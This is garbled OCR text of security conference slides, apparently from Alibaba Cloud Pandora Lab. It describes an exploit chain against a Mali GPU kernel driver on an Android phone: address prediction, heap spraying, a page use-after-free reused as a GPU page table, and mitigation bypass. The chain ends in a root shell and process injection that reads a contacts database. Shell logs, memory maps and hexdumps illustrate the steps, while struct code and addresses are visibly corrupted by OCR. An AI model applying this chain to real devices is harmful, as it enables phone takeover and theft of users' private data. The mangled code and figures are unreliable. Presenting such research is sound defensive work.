Oxfffffffebfde0000-0xfffffffebfee8000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc

Oxfffffffebfee8000-0xfffffffebfff0000 1081344 pcpu_get_vm_areas.cfi_jt+0x0/0x8 vmalloc
Oxffffffc024e45000-0xffffffc024e47000 8192 unpurged vm_area
Oxffffffc024e3d000-0xffffffc024e3f000 8192 unpurged vm_area
Oxffffffc0254af000-0xffffffc0254b5000 24576 unpurged vm_area
Oxffffffc024d8b000-0xffffffc024d8d000 8192 unpurged vm_area
Oxffffffc025f30000-0xffffffc025f35000 20480 unpurged vm_area
Oxffffffc024e35000-0xffffffc024e37000 8192 unpurged vm_area
Oxffffffc024e2d000-0xffffffc024e2f000 8192 unpurged vm_area
Oxffffffc023fad000-0xffffffc023faf000 8192 unpurged vm_area
Oxffffffc024e1d000-0xffffffc024e1f000 8192 unpurged vm_area
xffffffc -Oxffffffc unpurged vm_area

P 2023 Alibaba Cloud Pandora Lab
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Predict the address

VMALLOC_START {8 VMALLOC_START /@8

threshold threshold

VMALLOC_END VMALLOC_END

Music Chrome

V)
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Predict the address

4 N

threshold ——

VMALLOC_END
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Predict the address

r

VMALLOC_START

threshold —

v II

VMALLOC_END
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Predict the address

r

VMALLOC_START

threshold —

v II l
III ‘ A I[ /|

VMALLOC_END

Is it possible to spray many vm_areas at a low cost? e
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Virtual Address Management

struct kbase_va_region {
struct rb_node rblink;
struct list_head link;

size_t initial_commit;

struct list_head jit_node;
ul6 jit _usage id;

u8 jit_bin_id;

int va_refcnt;
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Virtual Address Management

struct kbase_mem_phy _alloc {

struct kref kref;
atomic_t gpu_mappings;
atomic_t kernel _mappings;

struct list_ head mappings;
struct list_head evict _node;
Size_t evicted;

enum kbase_memory_type type;

struct kbase_vmap_struct *permanent_map;

u8 properties;
u8 group _id;

{20
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Predict the address
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Predict the address

union kbase ioctl_mem_alloc {

struct {
__ub4 va_pages; // virtual address
___ub4 commit_pages; // physical address
___ub4 extension;
___u6b4 flags;

}in;

struct {
___u6b4 flags;
___ub4d gpu_va;

} out;
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Predict the address

* Boot #1

Oxffffffc03c80e000-0xffffffc03d80f000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03d80f000-0xffffffc03e810000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03e810000-0xffffffc03f811000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03f811000-0xffffffc040812000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc040812000-0xffffffc041813000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc041813000-0xffffffc042814000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc042814000-0xffffffc043815000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc043815000-0xffffffc044816000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc044816000-0xffffffc045817000 16781312 kbase _ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc045817000-0xffffffc046818000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc046818000-0xffffffc047819000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc047819000-0xffffffc04881a000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc04881a000-0xffffffc04981b000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages

Yo
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Predict the address

* Boot #n

Oxffffffc03ccOf000-0xffffffc03dc10000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03dc10000-0xffffffc03ec11000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03ec11000-0xffffffc03fc12000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03fc12000-0xffffffc040c13000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc040c13000-0xffffffc041c14000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc041c14000-0xffffffc042c15000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc042c15000-0xffffffc043c16000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc043c16000-0xffffffc044c17000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc044c17000-0xffffffc045c18000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc045c18000-0xffffffc046c19000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc046c19000-0xffffffc047c1a000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc047c1a000-0xffffffc048c1b000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc048c1b000-0xffffffc049c1c000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages

Yo
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Predict the address

r

VMALLOC_START

threshold —

v II

VMALLOC_END

How to find the start address? @
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Search the start address
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Search the start address

struct kbase_mem_phy_alloc {

struct kref kref;
atomic_t gpu_mappings;
atomic_t kernel_mappings;

struct tagged addr *pages;

kbasep_kinstr_prfcnt_get _request_info_list
0000: 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
0016: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0032: 01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00
0048: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

o
.
I
4 N
D A
S
e

kbase_mem_phy_alloc & page_array
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Search the start address

* Trigger the bug
e KA - 0x1000 * index + nents_offset

o * Query the nents

KA(threshold) e 0

—

—
D> 4
>_<

kbase_mem_phy_alloc & page_array
P
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Search the start address

© o(hyalocob) " Trigger the bug
_ e KA - 0x1000 * index + nents_offset
e * Query the nents

D o
r )

* GPU VA Reg n

e Precise kernel address
* Fields are corrupted

kbase_mem_phy_alloc & page_array
P

PS 2023 Alibaba Cloud Pandora Lab



Predict the address

* Boot #n

Oxffffffc03ccOf000-0xffffffc03dc10000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03dc10000-0xffffffc03ec11000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03ec11000-0xffffffc03fc12000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc03fc12000-0xffffffc040c13000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages

Oxffffffc041c14000-0xffffffc042c15000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages // Reg n+1
Oxffffffc042c15000-0xffffffc043c16000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc043c16000-0xffffffc044c17000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc044c17000-0xffffffc045c18000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc045c18000-0xffffffc046c19000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc046c19000-0xffffffc047c1a000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc047c1a000-0xffffffc048c1b000 16781312 kbase_ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages
Oxffffffc048c1b000-0xffffffc049c1c000 16781312 kbase ioctl+0x2a20/0x3430 pages=4096 vmalloc vpages

Yo
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Search the start address
- L

D o
r )

* Trigger the bug
e KA - 0x1000 * index + nents_offset

* Query the nents

* GPU VA Reg n

e Precise kernel address
* Fields are corrupted

* GPU VA Reg n+1
* Precise kernel address

kbase_mem_phy_alloc & page_array
P
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Search the start address

) NN «Athreshola)

kbase_mem_phy_alloc & page_array

_
=
>_<

D £
S

* Trigger the bug

e KA - 0x1000 * index + nents_offset

* Query the nents

* GPU VA Reg n

e Precise kernel address
* Fields are corrupted

* GPU VA Reg n+1
* Precise kernel address

 Crash rate (1/n)
« 16MB(<0.025%)

P£2023
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Write primitive

, _ _ struct kbase_mem_phy_alloc {
* kbasep kinstr_prfcnt_get request_info_list

0000: 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 StrUCt_ kref kref; |

0016: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 atomic_t gPu_mappings;
0032:01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 atomic_t kernel_mappings;
0048: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 size_t nents;

struct tagged _addr *pages;

struct list_head mappings;
* kbasep kinstr _prfcnt_get block_info_list

0000: 00 00 00 00 00 00 00 00?2 ?? ?? ?? 00 OO OO OO
00i6: FF FF FF FF FF FF FF FFFF FF FF FF FF FF FF FF

struct list_head evict_node;
size_t evicted;

struct kbase _va_region *reg;
enum kbase_memory_type type;

* The last sentinel item struct kbase_vmap_struct *permanent_map;
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 u8 properties;
0016: 00 00 00 00 OO0 OO OO0 00 OO 00 00 OO0 00 00 00 00 u8 group_id;

union {umm, alias, native, user_buf} imported;

Yo
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Write primitive

* kbasep_kinstr_prfcnt_get request_info_list _
0000: 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 _
0016: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 _

0032:01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 _

4 N
N A

0048: 00 00 00 00 OO 00 OO 00 OO OO0 OO OO 00 00 00 00

* kbasep_kinstr_prfcnt_get block _info_list
0000: 00 00 00 00 00 00 00 0Q ?? »2? ?? ?? 00 00 00 00
0016: FF FF FF FF FF FF FF FFFF FF FF FF FF FF FF FF

* The last sentinel item
0000: 00 00 00 00 OO0 00 00 OO0 OO0 00 00 OO0 00 00 00 00
0016: 00 00 00 OO0 OO0 00 00 OO OO0 00 00 OO 00 00 00 00

kbase_mem_phy alloc & page_array
P
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Write primitive

* kbasep_kinstr_prfcnt_get request_info_list
0000: 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
0016: 00 00 00 00 OO OO0 OO0 OO 00 OO OO0 00 00 00 00 00
0032: 01 00 00 00 OO0 00 00 OO0 01 OO OO 00 01 OO0 00 00
0048: 00 00 00 00 OO0 00 OO0 OO0 00 OO OO0 00 00 00 00 00

INVALID_KPTR
* kbasep_kinstr_prfcnt_get block_info_list Page 5000 kptr

0000: 00 00 00 00 00 00 00 00?2 ?? ?? ?? 00 OO OO OO
00i6: FF FF FF FF FF FF FF FFFF FF FF FF FF FF FF FF

* The last sentinel item
0000: 00 00 00 00 OO0 00 00 OO0 OO0 00 00 OO0 00 00 00 00
0016: 00 00 00 OO0 OO0 00 00 OO OO0 00 00 OO 00 00 00 00

D A
I T
S m

kbase_mem_phy alloc & page_array
P
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Page UAF in GPU MMU

page_array GPU page table
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Page UAF in GPU MMU

page_array GPU page table
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Page UAF in GPU MMU

INVALID_kptr

page_array GPU page table
How to overwrite the right page kernel pointer? &

PS 2023 Alibaba Cloud Pandora Lab



CVE-2022-36445

* MMU entries can be dumped
* Leak the physical page frames(including zero page)
* Fixed and guarded by non-default config

2850 case PFN_DOWN(BASE_MEM_MMU_DUMP_HANDLE) :

2851 #if defined (CONFIG_MALI_VECTOR_DUMP)

2852 /* MMU dump */

2853 err = kbase_mmu_dump_mmap(kctx, vma, &reg, &kaddr);
2854 if (err != 0)

2855 goto out_unlock;

2856 /* free the region on munmap */

2857 free_on_close = 1;

2858 JELE

2859 #else

* Use only one bug to exploit
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Physical Page Management

struct kbase_mem_pool {

struct kbase_device *kbdev;

size_t cur_size;
size_t max_size;
ud order;

u8 group_id;
spinlock_t pool_lock;

struct list_head page_list;
struct shrinker reclaim;
struct kbase_mem_pool *next_pool;

bool dying;
bool dont_reclaim;

struct kbase_mem_pool group {

struct kbase_mem_pool small[16];

struct kbase_mem_pool large[16];

int kbase_context_mem_pool_group _init(struct kbase context

*kctx)
{

return kbase_mem_pool group_init(

&kctx->mem_pools,

kctx->kbdev,
&kctx->kbdev->mem_pool_defaults,
&kctx->kbdev->mem_pools);
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Physical Page Management

* Allocate
e Step 1: allocate from the kctx->mem_pools. If insufficient, goto step 2
e Step 2: allocate from the kbdev->mem_pools. If insufficient, goto step 3
* Step 3: allocate from the kernel

* Free
e Step 1: add the pages to kctx->mem_pools. If full, goto step 2
* Step 2: add the pages to kbdev->mem_pools. If full, goto step 3
» Step 3: free the remaining pages to the kernel

e Shrinker

* register_shrinker(&kctx->reclaim);
 register_shrinker(&pool->reclaim);

Yo
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Buddy allocator internal

zone->free_area

»
>

» [ [
» » »

__

270 page sized blocks

2”3 page sized blocks

274 page sized blocks

27 (MAX_ORDER-1) page sized blocks

API: alloc_pages/free_pages
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Page UAF in GPU MMU

4 N 4

page_array page_array page_array
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Page UAF in GPU MMU

4 N 4

page_array page_array page_array

. < <
o~ N A
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Page UAF in GPU MMU

e kbase_mmu_insert_pages no_flush
* |f invalid, allocate one page as the PGD
* Allocate from kbdev->mem_pools, not from kctx->mem_pools

if (!kbdev—>mmu_mode—>pte_is_valid(pagelvpfn]l, level)) { static phys_addr_t kbase_mmu_alloc_pgd(struct kbase_device xkbdev,

enum kbase_mmu_op_type flush_op = KBASE_MMU_OP_NONE; struct kbase mmu table xmmut)

unsigned int current_valid_entries; { - -

u64 managed_pte; — u64 *page;

target_pgd = kbase_mmu_alloc_pgd(kbdev, mmut); struct page *p;

if (target_pgd == KBASE_MMU_INVALID_PGD_ADDRESS) { phys_addr_t pgd;
dev_dbg(kbdev->dev, "%s: kbase_mmu_alloc_pgd failure\n",
kunmap(p)—.f“”c—)? p = kbase_mem_pool_alloc(&kbdev-—>mem_pools.small[mmut->group_id]);
return —ED'IOMEM; if (!p)

} return KBASE_MMU_INVALID_PGD_ADDRESS;

Yo
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Page UAF in GPU MMU

e kbase_mmu_insert_pages no_flush
* |f invalid, allocate one page as the PGD
* Allocate from kbdev->mem_pools, not from kctx->mem_pools

if (!kbdev—>mmu_mode—>pte_is_valid(pagelvpfn]l, level)) { static phys_addr_t kbase_mmu_alloc_pgd(struct kbase_device xkbdev,

enum kbase_mmu_op_type flush_op = KBASE_MMU_OP_NONE; struct kbase mmu table xmmut)

unsigned int current_valid_entries; { - -

u64 managed_pte; — u64 *page;

target_pgd = kbase_mmu_alloc_pgd(kbdev, mmut); struct page *p;

if (target_pgd == KBASE_MMU_INVALID_PGD_ADDRESS) { phys_addr_t pgd;
dev_dbg(kbdev->dev, "%s: kbase_mmu_alloc_pgd failure\n",
kunmap(p)—.f“”c—)? p = kbase_mem_pool_alloc(&kbdev-—>mem_pools.small[mmut->group_id]);
return —ED'IOMEM; if (!p)

} return KBASE_MMU_INVALID_PGD_ADDRESS;

Yo
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Memory Management Unit

" ombe | [ - indexed by VA[47:39]

b indexed by VA[38:30]
c indexed by VA[29:21]
d indexed by VA[20:12]

\ 4

\ A

PGD ° I

PS 2023 Alibaba Cloud Pandora Lab



Page UAF in GPU MMU

* How to craft the valid block entry

| fbi&khat@ o
USA EDEB

AUGUST 9-10, EOEE b T
EEEEEEEEE e

| Make KSMA Great Agaln The Art of Rootlng Andr0|d
- dewces by GPU MMU features | |

WANG YONG (@ThomasKlng2014)
Allbaba Cloud Pandora lab
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Memory Management Unit

\ A

PGD ° I

a indexed by VA[47:39]
b indexed by VA[38:30]
c indexed by VA[29:21]
d indexed by VA[20:12]
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Exploitation

[shell:/ # cat /proc/1omem |grep "System RAM"
80000000-8affffff : System RAM
8b06e00O-901fffff : System RAM
090600000-91dfffff : System RAM
97400000-97ffffff . System RAM
98500000-b71fffff : System RAM
c0000000-d8Offfff : System RAM
da710000-dc20ffff : System RAM
dc620000-dfffffff : System RAM
e3800000-f87fffff : System RAM
fo9800000-fd3effff : System RAM
fd3ffO00-fd7fffff : System RAM
fdo900000-fdo9Obfff : System RAM
fd90dOeO-ffffffff System RAM
880@00000 9ffffffff : System RAM
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Arbitrary Physical Page Read/Write

* Put it together
Step 1: Spray the GPU VA regions without allocating physical pages

Step 2: Search the target kbase_mem_phy_alloc obj starting from the predicted
kernel address

Step 3: Compute the kernel address of the next kbase_mem_phy_alloc obj
Step 4: Commit the large number of pages

Step 5: Trigger the bug and overwrite the last page pointer

Step 6: Shrink the related region and free the last page

Step 7: Reuse the page as the PGD. If it fails, goto step 3

Step 8: Apply the KSMA exploitation technique and access the whole physical
pages
Step 9: Bypass the vendor’s mitigation and gain the root shell

PS 2023 Alibaba Cloud Pandora Lab



Exploitation

» Search the task_struct objects
* PID/TID
* Comm

* Leak kernel pointers

e Cred - *(u64*)(A + OFF_CRED —
OFF_PID)

 Compute the PFN slide
e PA<->VA

Share the same physical page(start address aligned)

Yo
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Vendor’s mitigation

* Privilege information is managed in the hypervisor
* Cred pointer is not protected

e ROOT != full disk access

* Exploit detection

Yo
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Vendor’s mitigation

* Bitmap pages are marked Read-only at EL1.
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Vendor’s mitigation

* Privilege check
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Vendor’s mitigation

* Privilege check
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Vendor’s mitigation

* Privilege check
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Vendor’s mitigation

fork.c

namei.c
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Vendor’s mitigation

creds.c
commoncap.c
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Bypass privilege check

* Temporarily modify the pid(eg: init process)
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ROOT shell

* Spawn a ROQOT process
Step 1: set the current credential to ROOT
Step 2: set the current->pid to 1
Step 3: fork a new process
Step 4: restore the current pid and credential

PS 2023 Alibaba Cloud Pandora Lab



ROOT shell

* Spawn a ROQOT process
Step 1: set the current credential to ROOT
Step 2: set the current->pid to 1
Step 3: fork a new process
Step 4: restore the current pid and credential

* CONFIG_SECURITY_SELINUX_DEVELOP not set

#ifdef CONFIG_SECURITY_SELINUX_DEVELOP
int selinux_enforcing;

static int __init enforcing_setup(char *str)

o

~ unsigned long enforcing;
if (!kstrtoul(str, @, &enforcing))

selinux_enforcing = enforcing ? 1 : 0;

return 1;

%

__setup("enforcing=", enforcing_setup);

#endif

#if defined(CONFIG_HISI_SELINUX_PROT) && !defined(CONFIG_SECURITY_SELINUX_DISABLE)
P #define __selinux_enabled_prot _ ro_after_init

#else
#define __selinux_enabled_prot .
P 2023 #endif Alibaba Cloud Pandora Lab



ROQOT !=full disk access

shell:/data/local/tmp # uname -a

Linux localhost 5.10.43 #1 SMP PREEMPT Wed Apr 12 11:55:46 CST 2023 aarch64

shell:/data/local/tmp # xxd -1 16 /data/data/com.android.providers.calendar/databases/calendar.db
00000000: 5351 4c69 7465 2066 672 6d61 7420 3300 SQLite format 3.

shell:/data/local/tmp # xxd -1 16 /data/data/com.android.providers.contacts/databases/calls.db

xxd: /data/data/com.android.providers.contacts/databases/calls.db: Permission denied
1|shell:/data/local/tmp # xxd -1 16 /data/data/com.android.providers.contacts/databases/contacts2.db
xxd: /data/data/com.android.providers.contacts/databases/contactsZ.db: Permission denied
1|shell:/data/local/tmp # id

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r) , 1(
SHESCEIE LS Aa6 eI bw _stats) ,3009(readproc),3011(uhid) context=u:r:shell:s®

shell:/data/local/tmp #

Yo
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ROQT I=full disk access

shell:/data/local/tmb # mount |grep f2fs

/dev/block/sdd75 on /data type f2fs (rw,seclabel,nosuid,nodev,noatime,background_gc=on,discard,no_heap,user_xattr,inline_xattr,acl,inline_data,inline_dentry,extent_cache
,mode=adaptive,inline_encrypt,active_logs=6,alloc_mode=default,checkpoint_merge, fsync_mode=posix,compress_algorithm=1z4,compress_log_size=3,compress_mode=user,compress_c

ache)

m xattr.h
m xattr.c
m verity.c

m trace.h
m trace.c
m sysfs.c
m super.c
u shrinker.c
m segment.h
m segment.c

um recovery.c
n OWNERS
m node.h

m node.c

m namei.c

m Makefile
m Kconfig
minode.c
minline.c

n f2fs.h

m extent_cache.c
u dirc

m debug.c

m data.c

m compress.c

m checkpoint.c
macl.h

m acl.c

862
3,493
27,790
106,560
3,202
26,424
127,122

21,316
19
12,634
79,827
31,273
488
4,126
24,621
19,327

3,054

3,010
41,696
97,217

134,743
20,198
28,827
19,365
100,616
34,767
42,257
1,059
9,164

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59....

Nov 24, 2022 at 20:59:.

Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:5
Nov 24, 2022 at 20:5
Nov 24, 2022 at 20:5
Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:...

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:...

Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:5
Nov 24, 2022 at 20:5!

Nov 24, 2022 at 20:59:...

Nov 24, 2022 at 20:59:.
Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5!

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5

Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:5!

m xattr.h 5,595
m xattr.c 21,586
m verity.c 10,716
n turbo_zone.h 6,164
n turbo_zone.c 23,875
m trace.h 1,814
m trace.c 3,563
m sysfs.c 67,888
m super.c 143,212
u shrinker.c 3,154
m segment.h 37,990
m segment.c 189,980
m sdp_context.h 69

m sdp_context.c 3,010
m sdp.h 2,024
m recovery.c 22,585

m node.h 13123
= node.c 94,454
= namei.c 44,788
n Makefile 882
n Kconfig 6,127
m inode.c 30,622
minline.c

» hwdps_context.h

» hwdps_context.c 2,708
n hp_preallocate.c 9,206
m hash.c 2,787
mgc.h 3,785
mgc.c 90,404
u file.c 205,887
n f2fs_dump_info.h 380
n f2fs_dump_info.c 8,179
u f2fs.h 197,662
m extent_cache.c 21,837
n dirc 34,710
m debug.c 26,923
m data.c 160,787
m compress.c 44,609
n checkpoint.c 57,635
maclh 1,051
m acl.c 9,281

Nov 24, 2022 at 20:59:...

Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59

Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:

Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:...

Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59....
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59:...
Nov 24, 2022 at 20:59:
Nov 24, 2022 at 20:59
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ROQT I=full disk access

Doing something useful with the read/write

Normally we could stop at this point; arbitrary kernel read/write clearly means that all user data reachable by
userspace and the kernel is compromised (unless the files are encrypted and the user hasn't entered the
corresponding PIN yet). However, because of Samsung's attempts to prevent exploits from succeeding
(such as CONFIG_RKP_KDP), | felt it was necessary to demonstrate that it is possible to access sensitive

data using this arbitrary kernel read/write without doing anything particularly complex. Therefore, | wrote
some code that can perform path walks through the dentry cache using the arbitrary read/write (just like the
kernel would do it on the fastpath), look up an inode based on its path in a filesystem, and then install its -
>i mapping as the ->f mapping of an attacker-owned instance of struct file. The PoC uses this to
dump the contents of the accounts database at /data/system ce/0/accounts_ce.db, which contains
sensitive authentication tokens. The code for this is fairly straightforward and never touches any credential
structures.

{20
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ROQOT !=full disk access

* Inject the process which can access those files.

[shell:/data/data/com.android.providers.contacts/databases # xxd -1 16 contacts2.db
xxd: contacts2.db: Permission denied

[1|shell:/data/data/com.android.providers.contacts/databases # xxd -1 16 contacts2_new.db
00000000: 5057 4e0a PWN .

[shell:/data/data/com.android.providers.contacts/databases # /data/local/tmp/injector 4176 /data/data/com.android.providers.contacts/libtest.so
Injection started...

Attached to process 4176

mmap called, function address 6fc4affcf® process 4176 size 1024

Call remote function 6fcd4affcf@ with 6 arguments, return value is 6fc96a9000

Write 53 bytes to Ox6fc96a9000 process 4176

dlopen called, function address 6fbc85d014 process 4176 library path /data/data/com.android.providers.contacts/libtest.so
Call remote function 6fbc85d014 with 2 arguments, return value is 48cec0a8202b5551

munmap called, function address 6fc4aff6d® process 4176 address 6fc96a9000 size 1024

Call remote function 6fc4aff6dd® with 2 arguments, return value is 0

Injection ended succesfully...

Detached from process 4176

[shell:/data/data/com.android.providers.contacts/databases # xxd -1 16 contacts2_new.db

00000000: 5351 4c69 7465 2066 6T72 6d61 7420 3300 SQLite format 3.
[shell:/data/data/com.android.providers.contacts/databases # 1s -1 contacts2*

-rw-rw---- 1 u@_a4 u®_ad4 475136 2023-04-12 13:48 contacts2.db
“FW------- 1 u0_a4 uO@_a4d4 32768 2023-04-13 11:40 contacts2.db-shm
=[- - - - === 1 u0_a4d4 uO_a4d 486192 2023-10-10 17:14 contacts2.db-wal

-rw-rw-rw- 1 u@_a4 u@_ad4 475136 2023-10-10 17:39 contacts2_new.db
shell:/data/data/com.android.providers.contacts/databases #
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shell:/ $ |



Agenda

* Introduction

* Bug analysis and exploitation

 Conclusion

Yo
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akeaways

* It’s possible to reliably predict the kernel addresses of attacker-
controlled objects.

* Using only one bug to exploit now needs more advanced exploitation
technique.

* With MTE mitigation landing, the good quality bugs and more
advanced exploitation technique becomes more valuable.

Yo
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